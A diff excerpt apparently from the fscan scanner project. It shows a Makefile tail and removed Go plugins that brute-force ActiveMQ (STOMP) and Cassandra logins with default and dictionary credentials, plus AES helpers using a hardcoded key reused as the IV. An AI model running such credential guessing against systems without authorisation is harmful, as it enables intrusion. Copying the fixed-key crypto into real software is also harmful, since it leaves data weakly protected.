@grep -E '^## ' $(MAKEFILE_LIST) | sed 's/^## / /'
|
||||
@echo ""
|
||||
|
||||
## deps: 下载依赖
|
||||
deps:
|
||||
@echo "$(BLUE)下载依赖...$(NC)"
|
||||
$(GO) mod download
|
||||
$(GO) mod verify
|
||||
@echo "$(GREEN)✓ 依赖下载完成$(NC)"
|
||||
|
||||
## test: 运行测试
|
||||
test:
|
||||
@echo "$(BLUE)运行测试...$(NC)"
|
||||
# 禁用go test内置的vet检查,因为i18n.GetTextF的间接格式化模式与vet的printf检查冲突
|
||||
# golangci-lint会运行完整的vet检查(已在.golangci.yml中禁用printf)
|
||||
$(GO) test -vet=off -race -v ./...
|
||||
@echo "$(GREEN)✓ 测试通过$(NC)"
|
||||
|
||||
## test-cover: 运行测试并生成覆盖率报告
|
||||
test-cover:
|
||||
@echo "$(BLUE)运行测试(带覆盖率)...$(NC)"
|
||||
# 禁用go test内置的vet检查,原因同上
|
||||
$(GO) test -vet=off -race -coverprofile=coverage.out -covermode=atomic ./...
|
||||
@echo ""
|
||||
@echo "$(BLUE)覆盖率报告:$(NC)"
|
||||
$(GO) tool cover -func=coverage.out | tail -1
|
||||
@echo ""
|
||||
@echo "$(GREEN)生成 HTML 报告: coverage.html$(NC)"
|
||||
$(GO) tool cover -html=coverage.out -o coverage.html
|
||||
@echo "$(GREEN)✓ 覆盖率报告生成完成$(NC)"
|
||||
|
||||
## build: 构建生产版本(无 pprof,优化体积)
|
||||
build:
|
||||
@echo "$(BLUE)构建生产版本(无 pprof)...$(NC)"
|
||||
$(GO) build -ldflags="-s -w" -trimpath -o $(BINARY_NAME) .
|
||||
@echo "$(GREEN)✓ 构建完成: $(BINARY_NAME)$(NC)"
|
||||
|
||||
## build-web: 构建带Web UI的版本(需要先构建前端)
|
||||
build-web: build-ui
|
||||
@echo "$(BLUE)构建Web版本...$(NC)"
|
||||
$(GO) build -tags web -ldflags="-s -w" -trimpath -o $(BINARY_NAME)-web .
|
||||
@echo "$(GREEN)✓ 构建完成: $(BINARY_NAME)-web$(NC)"
|
||||
@echo "$(BLUE)提示: 运行 ./$(BINARY_NAME)-web -web 启动Web界面$(NC)"
|
||||
|
||||
## build-ui: 构建前端(需要Node.js和npm)
|
||||
build-ui:
|
||||
@echo "$(BLUE)构建前端...$(NC)"
|
||||
@if [ ! -d "web-ui" ]; then \
|
||||
echo "$(RED)错误: web-ui 目录不存在$(NC)"; \
|
||||
echo "请先创建前端项目"; \
|
||||
exit 1; \
|
||||
fi
|
||||
@cd web-ui && npm install && npm run build
|
||||
@rm -rf web/dist
|
||||
@cp -r web-ui/dist web/dist
|
||||
@echo "$(GREEN)✓ 前端构建完成$(NC)"
|
||||
|
||||
## build-debug: 构建调试版本(带 pprof)
|
||||
build-debug:
|
||||
@echo "$(BLUE)构建调试版本(带 pprof)...$(NC)"
|
||||
$(GO) build -tags=debug -o $(BINARY_NAME)_debug .
|
||||
@echo "$(GREEN)✓ 构建完成: $(BINARY_NAME)_debug$(NC)"
|
||||
@echo "$(BLUE)提示: 运行后访问 http://localhost:6060/debug/pprof$(NC)"
|
||||
|
||||
## build-race: 构建 race 检测版本
|
||||
build-race:
|
||||
@echo "$(BLUE)构建 race 检测版本...$(NC)"
|
||||
$(GO) build -race -tags=debug -o $(BINARY_NAME)_race .
|
||||
@echo "$(GREEN)✓ 构建完成: $(BINARY_NAME)_race$(NC)"
|
||||
@echo "$(BLUE)提示: 运行时会检测数据竞争,性能会降低$(NC)"
|
||||
|
||||
## build-all: 构建所有平台的二进制文件
|
||||
build-all:
|
||||
@echo "$(BLUE)构建所有平台...$(NC)"
|
||||
@echo "Windows amd64..."
|
||||
GOOS=windows GOARCH=amd64 $(GO) build -o dist/$(BINARY_NAME)-windows-amd64.exe .
|
||||
@echo "Linux amd64..."
|
||||
GOOS=linux GOARCH=amd64 $(GO) build -o dist/$(BINARY_NAME)-linux-amd64 .
|
||||
@echo "Darwin amd64..."
|
||||
GOOS=darwin GOARCH=amd64 $(GO) build -o dist/$(BINARY_NAME)-darwin-amd64 .
|
||||
@echo "$(GREEN)✓ 所有平台构建完成$(NC)"
|
||||
|
||||
## lint: 运行代码检查
|
||||
lint:
|
||||
@echo "$(BLUE)运行代码检查...$(NC)"
|
||||
@command -v $(GOLANGCI_LINT) >/dev/null 2>&1 || \
|
||||
{ echo "$(RED)错误: golangci-lint 未安装$(NC)"; \
|
||||
echo "运行 'make install-tools' 安装"; \
|
||||
exit 1; }
|
||||
$(GOLANGCI_LINT) run ./...
|
||||
@echo "$(GREEN)✓ 代码检查通过$(NC)"
|
||||
|
||||
## lint-fix: 运行代码检查并自动修复
|
||||
lint-fix:
|
||||
@echo "$(BLUE)运行代码检查(自动修复)...$(NC)"
|
||||
@command -v $(GOLANGCI_LINT) >/dev/null 2>&1 || \
|
||||
{ echo "$(RED)错误: golangci-lint 未安装$(NC)"; \
|
||||
echo "运行 'make install-tools' 安装"; \
|
||||
exit 1; }
|
||||
$(GOLANGCI_LINT) run --fix ./...
|
||||
@echo "$(GREEN)✓ 代码检查完成(已自动修复)$(NC)"
|
||||
|
||||
## clean: 清理构建产物
|
||||
clean:
|
||||
@echo "$(BLUE)清理构建产物...$(NC)"
|
||||
rm -f $(BINARY_NAME) $(BINARY_NAME).exe
|
||||
rm -f $(BINARY_NAME)_debug $(BINARY_NAME)_debug.exe
|
||||
rm -f $(BINARY_NAME)_race $(BINARY_NAME)_race.exe
|
||||
rm -f coverage.out coverage.html
|
||||
rm -rf dist/ tests/logs/
|
||||
@echo "$(GREEN)✓ 清理完成$(NC)"
|
||||
|
||||
## stress-test: 压力测试(需要先 build-debug)
|
||||
stress-test:
|
||||
@echo "$(BLUE)压力测试...$(NC)"
|
||||
@if [ ! -f $(BINARY_NAME)_debug ] && [ ! -f $(BINARY_NAME)_debug.exe ]; then \
|
||||
echo "$(RED)错误: $(BINARY_NAME)_debug 不存在$(NC)"; \
|
||||
echo "请先运行 'make build-debug'"; \
|
||||
exit 1; \
|
||||
fi
|
||||
@if [ -f tests/stress_test.sh ]; then \
|
||||
bash tests/stress_test.sh; \
|
||||
else \
|
||||
echo "$(RED)错误: tests/stress_test.sh 不存在$(NC)"; \
|
||||
echo "请先创建压力测试脚本"; \
|
||||
exit 1; \
|
||||
fi
|
||||
|
||||
## ci: CI流程(lint + test + build)
|
||||
ci: lint test build
|
||||
@echo "$(GREEN)✓ CI流程完成$(NC)"
|
||||
|
||||
## install-tools: 安装开发工具
|
||||
install-tools:
|
||||
@echo "$(BLUE)安装开发工具...$(NC)"
|
||||
@echo "检查 golangci-lint..."
|
||||
@if command -v $(GOLANGCI_LINT) >/dev/null 2>&1; then \
|
||||
echo "$(GREEN)✓ golangci-lint 已安装$(NC)"; \
|
||||
$(GOLANGCI_LINT) version; \
|
||||
else \
|
||||
echo "$(BLUE)安装 golangci-lint...$(NC)"; \
|
||||
if command -v go >/dev/null 2>&1; then \
|
||||
echo "使用 go install 安装..."; \
|
||||
go install github.com/golangci/golangci-lint/cmd/golangci-lint@latest && \
|
||||
echo "$(GREEN)✓ golangci-lint 安装成功$(NC)" && \
|
||||
$(GOLANGCI_LINT) version || \
|
||||
{ echo "$(RED)✗ 安装失败,请手动安装:$(NC)"; \
|
||||
echo " go install github.com/golangci/golangci-lint/cmd/golangci-lint@latest"; \
|
||||
echo "或访问: https://golangci-lint.run/welcome/install/"; \
|
||||
exit 1; }; \
|
||||
else \
|
||||
echo "$(RED)✗ Go 未安装,无法自动安装 golangci-lint$(NC)"; \
|
||||
exit 1; \
|
||||
fi; \
|
||||
fi
|
||||
|
||||
## fmt: 格式化代码
|
||||
fmt:
|
||||
@echo "$(BLUE)格式化代码...$(NC)"
|
||||
$(GO) fmt ./...
|
||||
@echo "$(GREEN)✓ 代码格式化完成$(NC)"
|
||||
|
||||
## vet: 运行 go vet(跳过printf检查)
|
||||
vet:
|
||||
@echo "$(BLUE)运行 go vet...$(NC)"
|
||||
$(GO) vet -printf=false ./...
|
||||
@echo "$(GREEN)✓ go vet 检查通过$(NC)"
|
||||
@@ -1,318 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"net"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// ActiveMQCredential 表示一个ActiveMQ凭据
|
||||
type ActiveMQCredential struct {
|
||||
Username string
|
||||
Password string
|
||||
}
|
||||
|
||||
// ActiveMQScanResult 表示扫描结果
|
||||
type ActiveMQScanResult struct {
|
||||
Success bool
|
||||
Error error
|
||||
Credential ActiveMQCredential
|
||||
}
|
||||
|
||||
func ActiveMQScan(info *Common.HostInfo) (tmperr error) {
|
||||
if Common.DisableBrute {
|
||||
return
|
||||
}
|
||||
|
||||
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
|
||||
|
||||
// 设置全局超时上下文
|
||||
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
|
||||
defer cancel()
|
||||
|
||||
// 先尝试默认账户
|
||||
Common.LogDebug("尝试默认账户 admin:admin")
|
||||
|
||||
defaultCredential := ActiveMQCredential{Username: "admin", Password: "admin"}
|
||||
defaultResult := tryActiveCredential(ctx, info, defaultCredential, Common.Timeout, Common.MaxRetries)
|
||||
|
||||
if defaultResult.Success {
|
||||
saveActiveMQSuccess(info, target, defaultResult.Credential)
|
||||
return nil
|
||||
}
|
||||
|
||||
// 生成所有凭据组合
|
||||
credentials := generateActiveMQCredentials(Common.Userdict["activemq"], Common.Passwords)
|
||||
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
|
||||
len(Common.Userdict["activemq"]), len(Common.Passwords), len(credentials)))
|
||||
|
||||
// 使用工作池并发扫描
|
||||
result := concurrentActiveMQScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
|
||||
if result != nil {
|
||||
// 记录成功结果
|
||||
saveActiveMQSuccess(info, target, result.Credential)
|
||||
return nil
|
||||
}
|
||||
|
||||
// 检查是否因为全局超时而退出
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
Common.LogDebug("ActiveMQ扫描全局超时")
|
||||
return fmt.Errorf("全局超时")
|
||||
default:
|
||||
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了默认凭据
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// generateActiveMQCredentials 生成ActiveMQ的用户名密码组合
|
||||
func generateActiveMQCredentials(users, passwords []string) []ActiveMQCredential {
|
||||
var credentials []ActiveMQCredential
|
||||
for _, user := range users {
|
||||
for _, pass := range passwords {
|
||||
actualPass := strings.Replace(pass, "{user}", user, -1)
|
||||
credentials = append(credentials, ActiveMQCredential{
|
||||
Username: user,
|
||||
Password: actualPass,
|
||||
})
|
||||
}
|
||||
}
|
||||
return credentials
|
||||
}
|
||||
|
||||
// concurrentActiveMQScan 并发扫描ActiveMQ服务
|
||||
func concurrentActiveMQScan(ctx context.Context, info *Common.HostInfo, credentials []ActiveMQCredential, timeoutSeconds int64, maxRetries int) *ActiveMQScanResult {
|
||||
// 使用ModuleThreadNum控制并发数
|
||||
maxConcurrent := Common.ModuleThreadNum
|
||||
if maxConcurrent <= 0 {
|
||||
maxConcurrent = 10 // 默认值
|
||||
}
|
||||
if maxConcurrent > len(credentials) {
|
||||
maxConcurrent = len(credentials)
|
||||
}
|
||||
|
||||
// 创建工作池
|
||||
var wg sync.WaitGroup
|
||||
resultChan := make(chan *ActiveMQScanResult, 1)
|
||||
workChan := make(chan ActiveMQCredential, maxConcurrent)
|
||||
scanCtx, scanCancel := context.WithCancel(ctx)
|
||||
defer scanCancel()
|
||||
|
||||
// 启动工作协程
|
||||
for i := 0; i < maxConcurrent; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for credential := range workChan {
|
||||
select {
|
||||
case <-scanCtx.Done():
|
||||
return
|
||||
default:
|
||||
result := tryActiveCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
|
||||
if result.Success {
|
||||
select {
|
||||
case resultChan <- result:
|
||||
scanCancel() // 找到有效凭据,取消其他工作
|
||||
default:
|
||||
}
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
// 发送工作
|
||||
go func() {
|
||||
for i, cred := range credentials {
|
||||
select {
|
||||
case <-scanCtx.Done():
|
||||
break
|
||||
default:
|
||||
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
|
||||
workChan <- cred
|
||||
}
|
||||
}
|
||||
close(workChan)
|
||||
}()
|
||||
|
||||
// 等待结果或完成
|
||||
go func() {
|
||||
wg.Wait()
|
||||
close(resultChan)
|
||||
}()
|
||||
|
||||
// 获取结果,考虑全局超时
|
||||
select {
|
||||
case result, ok := <-resultChan:
|
||||
if ok && result != nil && result.Success {
|
||||
return result
|
||||
}
|
||||
return nil
|
||||
case <-ctx.Done():
|
||||
Common.LogDebug("ActiveMQ并发扫描全局超时")
|
||||
scanCancel() // 确保取消所有未完成工作
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// tryActiveCredential 尝试单个ActiveMQ凭据
|
||||
func tryActiveCredential(ctx context.Context, info *Common.HostInfo, credential ActiveMQCredential, timeoutSeconds int64, maxRetries int) *ActiveMQScanResult {
|
||||
var lastErr error
|
||||
|
||||
for retry := 0; retry < maxRetries; retry++ {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return &ActiveMQScanResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("全局超时"),
|
||||
Credential: credential,
|
||||
}
|
||||
default:
|
||||
if retry > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
|
||||
time.Sleep(500 * time.Millisecond) // 重试前等待
|
||||
}
|
||||
|
||||
// 创建单个连接超时的上下文
|
||||
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
|
||||
success, err := ActiveMQConn(connCtx, info, credential.Username, credential.Password)
|
||||
cancel()
|
||||
|
||||
if success {
|
||||
return &ActiveMQScanResult{
|
||||
Success: true,
|
||||
Credential: credential,
|
||||
}
|
||||
}
|
||||
|
||||
lastErr = err
|
||||
if err != nil {
|
||||
// 检查是否需要重试
|
||||
if retryErr := Common.CheckErrs(err); retryErr == nil {
|
||||
break // 不需要重试的错误
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return &ActiveMQScanResult{
|
||||
Success: false,
|
||||
Error: lastErr,
|
||||
Credential: credential,
|
||||
}
|
||||
}
|
||||
|
||||
// ActiveMQConn 尝试ActiveMQ连接
|
||||
func ActiveMQConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (bool, error) {
|
||||
addr := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||
|
||||
// 使用上下文创建带超时的连接
|
||||
dialer := &net.Dialer{Timeout: time.Duration(Common.Timeout) * time.Second}
|
||||
conn, err := dialer.DialContext(ctx, "tcp", addr)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
// 创建结果通道
|
||||
resultChan := make(chan struct {
|
||||
success bool
|
||||
err error
|
||||
}, 1)
|
||||
|
||||
// 在协程中处理认证
|
||||
go func() {
|
||||
// STOMP协议的CONNECT命令
|
||||
stompConnect := fmt.Sprintf("CONNECT\naccept-version:1.0,1.1,1.2\nhost:/\nlogin:%s\npasscode:%s\n\n\x00", user, pass)
|
||||
|
||||
// 发送认证请求
|
||||
conn.SetWriteDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second))
|
||||
if _, err := conn.Write([]byte(stompConnect)); err != nil {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
case resultChan <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{false, err}:
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// 读取响应
|
||||
conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second))
|
||||
respBuf := make([]byte, 1024)
|
||||
n, err := conn.Read(respBuf)
|
||||
if err != nil {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
case resultChan <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{false, err}:
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// 检查认证结果
|
||||
response := string(respBuf[:n])
|
||||
|
||||
var success bool
|
||||
var resultErr error
|
||||
|
||||
if strings.Contains(response, "CONNECTED") {
|
||||
success = true
|
||||
resultErr = nil
|
||||
} else if strings.Contains(response, "Authentication failed") || strings.Contains(response, "ERROR") {
|
||||
success = false
|
||||
resultErr = fmt.Errorf("认证失败")
|
||||
} else {
|
||||
success = false
|
||||
resultErr = fmt.Errorf("未知响应: %s", response)
|
||||
}
|
||||
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
case resultChan <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{success, resultErr}:
|
||||
}
|
||||
}()
|
||||
|
||||
// 等待认证结果或上下文取消
|
||||
select {
|
||||
case result := <-resultChan:
|
||||
return result.success, result.err
|
||||
case <-ctx.Done():
|
||||
return false, ctx.Err()
|
||||
}
|
||||
}
|
||||
|
||||
// saveActiveMQSuccess 记录并保存ActiveMQ成功结果
|
||||
func saveActiveMQSuccess(info *Common.HostInfo, target string, credential ActiveMQCredential) {
|
||||
successMsg := fmt.Sprintf("ActiveMQ服务 %s 成功爆破 用户名: %v 密码: %v",
|
||||
target, credential.Username, credential.Password)
|
||||
Common.LogSuccess(successMsg)
|
||||
|
||||
// 保存结果
|
||||
result := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "activemq",
|
||||
"username": credential.Username,
|
||||
"password": credential.Password,
|
||||
"type": "weak-password",
|
||||
},
|
||||
}
|
||||
Common.SaveResult(result)
|
||||
}
|
||||
-127
@@ -1,127 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"encoding/base64"
|
||||
"errors"
|
||||
"fmt"
|
||||
"net"
|
||||
)
|
||||
|
||||
// ReadBytes 从连接读取数据直到EOF或错误
|
||||
func ReadBytes(conn net.Conn) ([]byte, error) {
|
||||
size := 4096 // 缓冲区大小
|
||||
buf := make([]byte, size)
|
||||
var result []byte
|
||||
var lastErr error
|
||||
|
||||
// 循环读取数据
|
||||
for {
|
||||
count, err := conn.Read(buf)
|
||||
if err != nil {
|
||||
lastErr = err
|
||||
break
|
||||
}
|
||||
|
||||
result = append(result, buf[0:count]...)
|
||||
|
||||
// 如果读取的数据小于缓冲区,说明已经读完
|
||||
if count < size {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
// 如果读到了数据,则忽略错误
|
||||
if len(result) > 0 {
|
||||
return result, nil
|
||||
}
|
||||
|
||||
return result, lastErr
|
||||
}
|
||||
|
||||
// 默认AES加密密钥
|
||||
var key = "0123456789abcdef"
|
||||
|
||||
// AesEncrypt 使用AES-CBC模式加密字符串
|
||||
func AesEncrypt(orig string, key string) (string, error) {
|
||||
// 转为字节数组
|
||||
origData := []byte(orig)
|
||||
keyBytes := []byte(key)
|
||||
|
||||
// 创建加密块,要求密钥长度必须为16/24/32字节
|
||||
block, err := aes.NewCipher(keyBytes)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("创建加密块失败: %v", err)
|
||||
}
|
||||
|
||||
// 获取块大小并填充数据
|
||||
blockSize := block.BlockSize()
|
||||
origData = PKCS7Padding(origData, blockSize)
|
||||
|
||||
// 创建CBC加密模式
|
||||
blockMode := cipher.NewCBCEncrypter(block, keyBytes[:blockSize])
|
||||
|
||||
// 加密数据
|
||||
encrypted := make([]byte, len(origData))
|
||||
blockMode.CryptBlocks(encrypted, origData)
|
||||
|
||||
// base64编码
|
||||
return base64.StdEncoding.EncodeToString(encrypted), nil
|
||||
}
|
||||
|
||||
// AesDecrypt 使用AES-CBC模式解密字符串
|
||||
func AesDecrypt(crypted string, key string) (string, error) {
|
||||
// base64解码
|
||||
cryptedBytes, err := base64.StdEncoding.DecodeString(crypted)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("base64解码失败: %v", err)
|
||||
}
|
||||
|
||||
keyBytes := []byte(key)
|
||||
|
||||
// 创建解密块
|
||||
block, err := aes.NewCipher(keyBytes)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("创建解密块失败: %v", err)
|
||||
}
|
||||
|
||||
// 创建CBC解密模式
|
||||
blockSize := block.BlockSize()
|
||||
blockMode := cipher.NewCBCDecrypter(block, keyBytes[:blockSize])
|
||||
|
||||
// 解密数据
|
||||
origData := make([]byte, len(cryptedBytes))
|
||||
blockMode.CryptBlocks(origData, cryptedBytes)
|
||||
|
||||
// 去除填充
|
||||
origData, err = PKCS7UnPadding(origData)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("去除PKCS7填充失败: %v", err)
|
||||
}
|
||||
|
||||
return string(origData), nil
|
||||
}
|
||||
|
||||
// PKCS7Padding 对数据进行PKCS7填充
|
||||
func PKCS7Padding(data []byte, blockSize int) []byte {
|
||||
padding := blockSize - len(data)%blockSize
|
||||
padtext := bytes.Repeat([]byte{byte(padding)}, padding)
|
||||
return append(data, padtext...)
|
||||
}
|
||||
|
||||
// PKCS7UnPadding 去除PKCS7填充
|
||||
func PKCS7UnPadding(data []byte) ([]byte, error) {
|
||||
length := len(data)
|
||||
if length == 0 {
|
||||
return nil, errors.New("数据长度为0")
|
||||
}
|
||||
|
||||
padding := int(data[length-1])
|
||||
if padding > length {
|
||||
return nil, errors.New("填充长度无效")
|
||||
}
|
||||
|
||||
return data[:length-padding], nil
|
||||
}
|
||||
@@ -1,342 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"github.com/gocql/gocql"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// CassandraCredential 表示一个Cassandra凭据
|
||||
type CassandraCredential struct {
|
||||
Username string
|
||||
Password string
|
||||
}
|
||||
|
||||
// CassandraScanResult 表示扫描结果
|
||||
type CassandraScanResult struct {
|
||||
Success bool
|
||||
IsAnonymous bool
|
||||
Error error
|
||||
Credential CassandraCredential
|
||||
}
|
||||
|
||||
func CassandraScan(info *Common.HostInfo) (tmperr error) {
|
||||
if Common.DisableBrute {
|
||||
return
|
||||
}
|
||||
|
||||
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
|
||||
|
||||
// 设置全局超时上下文
|
||||
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
|
||||
defer cancel()
|
||||
|
||||
// 先尝试无认证访问
|
||||
Common.LogDebug("尝试无认证访问...")
|
||||
|
||||
anonymousCredential := CassandraCredential{Username: "", Password: ""}
|
||||
anonymousResult := tryCassandraCredential(ctx, info, anonymousCredential, Common.Timeout, Common.MaxRetries)
|
||||
|
||||
if anonymousResult.Success {
|
||||
saveCassandraSuccess(info, target, anonymousResult.Credential, true)
|
||||
return nil
|
||||
}
|
||||
|
||||
// 生成所有凭据组合
|
||||
credentials := generateCassandraCredentials(Common.Userdict["cassandra"], Common.Passwords)
|
||||
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
|
||||
len(Common.Userdict["cassandra"]), len(Common.Passwords), len(credentials)))
|
||||
|
||||
// 使用工作池并发扫描
|
||||
result := concurrentCassandraScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
|
||||
if result != nil {
|
||||
// 记录成功结果
|
||||
saveCassandraSuccess(info, target, result.Credential, false)
|
||||
return nil
|
||||
}
|
||||
|
||||
// 检查是否因为全局超时而退出
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
Common.LogDebug("Cassandra扫描全局超时")
|
||||
return fmt.Errorf("全局超时")
|
||||
default:
|
||||
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了匿名访问
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// generateCassandraCredentials 生成Cassandra的用户名密码组合
|
||||
func generateCassandraCredentials(users, passwords []string) []CassandraCredential {
|
||||
var credentials []CassandraCredential
|
||||
for _, user := range users {
|
||||
for _, pass := range passwords {
|
||||
actualPass := strings.Replace(pass, "{user}", user, -1)
|
||||
credentials = append(credentials, CassandraCredential{
|
||||
Username: user,
|
||||
Password: actualPass,
|
||||
})
|
||||
}
|
||||
}
|
||||
return credentials
|
||||
}
|
||||
|
||||
// concurrentCassandraScan 并发扫描Cassandra服务
|
||||
func concurrentCassandraScan(ctx context.Context, info *Common.HostInfo, credentials []CassandraCredential, timeoutSeconds int64, maxRetries int) *CassandraScanResult {
|
||||
// 使用ModuleThreadNum控制并发数
|
||||
maxConcurrent := Common.ModuleThreadNum
|
||||
if maxConcurrent <= 0 {
|
||||
maxConcurrent = 10 // 默认值
|
||||
}
|
||||
if maxConcurrent > len(credentials) {
|
||||
maxConcurrent = len(credentials)
|
||||
}
|
||||
|
||||
// 创建工作池
|
||||
var wg sync.WaitGroup
|
||||
resultChan := make(chan *CassandraScanResult, 1)
|
||||
workChan := make(chan CassandraCredential, maxConcurrent)
|
||||
scanCtx, scanCancel := context.WithCancel(ctx)
|
||||
defer scanCancel()
|
||||
|
||||
// 启动工作协程
|
||||
for i := 0; i < maxConcurrent; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for credential := range workChan {
|
||||
select {
|
||||
case <-scanCtx.Done():
|
||||
return
|
||||
default:
|
||||
result := tryCassandraCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
|
||||
if result.Success {
|
||||
select {
|
||||
case resultChan <- result:
|
||||
scanCancel() // 找到有效凭据,取消其他工作
|
||||
default:
|
||||
}
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
// 发送工作
|
||||
go func() {
|
||||
for i, cred := range credentials {
|
||||
select {
|
||||
case <-scanCtx.Done():
|
||||
break
|
||||
default:
|
||||
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
|
||||
workChan <- cred
|
||||
}
|
||||
}
|
||||
close(workChan)
|
||||
}()
|
||||
|
||||
// 等待结果或完成
|
||||
go func() {
|
||||
wg.Wait()
|
||||
close(resultChan)
|
||||
}()
|
||||
|
||||
// 获取结果,考虑全局超时
|
||||
select {
|
||||
case result, ok := <-resultChan:
|
||||
if ok && result != nil && result.Success {
|
||||
return result
|
||||
}
|
||||
return nil
|
||||
case <-ctx.Done():
|
||||
Common.LogDebug("Cassandra并发扫描全局超时")
|
||||
scanCancel() // 确保取消所有未完成工作
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// tryCassandraCredential 尝试单个Cassandra凭据
|
||||
func tryCassandraCredential(ctx context.Context, info *Common.HostInfo, credential CassandraCredential, timeoutSeconds int64, maxRetries int) *CassandraScanResult {
|
||||
var lastErr error
|
||||
|
||||
for retry := 0; retry < maxRetries; retry++ {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return &CassandraScanResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("全局超时"),
|
||||
Credential: credential,
|
||||
}
|
||||
default:
|
||||
if retry > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
|
||||
time.Sleep(500 * time.Millisecond) // 重试前等待
|
||||
}
|
||||
|
||||
// 创建单个连接超时的上下文
|
||||
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
|
||||
success, err := CassandraConn(connCtx, info, credential.Username, credential.Password)
|
||||
cancel()
|
||||
|
||||
if success {
|
||||
return &CassandraScanResult{
|
||||
Success: true,
|
||||
IsAnonymous: credential.Username == "" && credential.Password == "",
|
||||
Credential: credential,
|
||||
}
|
||||
}
|
||||
|
||||
lastErr = err
|
||||
if err != nil {
|
||||
// 检查是否需要重试
|
||||
if retryErr := Common.CheckErrs(err); retryErr == nil {
|
||||
break // 不需要重试的错误
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return &CassandraScanResult{
|
||||
Success: false,
|
||||
Error: lastErr,
|
||||
Credential: credential,
|
||||
}
|
||||
}
|
||||
|
||||
// CassandraConn 尝试Cassandra连接,支持上下文超时
|
||||
func CassandraConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (bool, error) {
|
||||
host, port := info.Host, info.Ports
|
||||
timeout := time.Duration(Common.Timeout) * time.Second
|
||||
|
||||
cluster := gocql.NewCluster(host)
|
||||
cluster.Port, _ = strconv.Atoi(port)
|
||||
cluster.Timeout = timeout
|
||||
cluster.ConnectTimeout = timeout
|
||||
cluster.ProtoVersion = 4
|
||||
cluster.Consistency = gocql.One
|
||||
|
||||
if user != "" || pass != "" {
|
||||
cluster.Authenticator = gocql.PasswordAuthenticator{
|
||||
Username: user,
|
||||
Password: pass,
|
||||
}
|
||||
}
|
||||
|
||||
